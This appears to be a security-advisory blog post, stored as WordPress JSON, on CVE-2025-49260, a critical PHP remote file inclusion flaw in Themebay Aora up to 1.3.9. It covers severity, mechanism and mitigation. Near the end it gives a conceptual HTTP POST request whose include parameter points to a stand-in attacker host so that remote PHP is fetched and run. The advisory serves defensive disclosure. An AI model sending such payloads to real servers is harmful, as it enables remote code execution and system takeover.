{"id":55904,"date":"2025-06-29T10:29:57","date_gmt":"2025-06-29T10:29:57","guid":{"rendered":""},"modified":"2025-07-09T05:20:14","modified_gmt":"2025-07-09T11:20:14","slug":"cve-2025-49260-critical-php-remote-file-inclusion-vulnerability-in-themebay-aora","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49260-critical-php-remote-file-inclusion-vulnerability-in-themebay-aora\/","title":{"rendered":"CVE-2025-49260: Critical PHP Remote File Inclusion Vulnerability in Themebay Aora<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-49260 is a critical vulnerability that resides within the Themebay Aora PHP program. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to include and execute arbitrary PHP code from remote servers. This is particularly concerning as it can lead to severe system compromise and potential<\/a> data leakage. The vulnerability affects all versions<\/a> of Aora up to and including 1.3.9. Given the severity of the vulnerability<\/a> and its potential impact, it is crucial for users of Themebay Aora to apply the vendor patch or, alternatively, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-49260
\nSeverity: Critical (8.1 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Themebay Aora | Up to and including 1.3.9<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from improper control<\/a> of the filename for the include\/require statement in the PHP program. An attacker can manipulate this vulnerability by injecting a PHP file from a remote<\/a> server, which the server then includes and executes. This can lead to a variety of malicious activities, such as executing arbitrary code<\/a>, stealing sensitive data, or even taking control of the affected system.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how an attacker might exploit this vulnerability. Note that the `malicious_payload` contains a URL pointing to a remote PHP file<\/a>.<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ninclude=http:\/\/malicious.example.com\/malicious_file.php<\/code><\/pre>\n
In this example, the server would fetch and execute the PHP file<\/a> located at `http:\/\/malicious.example.com\/malicious_file.php`, leading to potential system compromise or data leakage.<\/p>\n","protected":false},"excerpt":{"rendered":"
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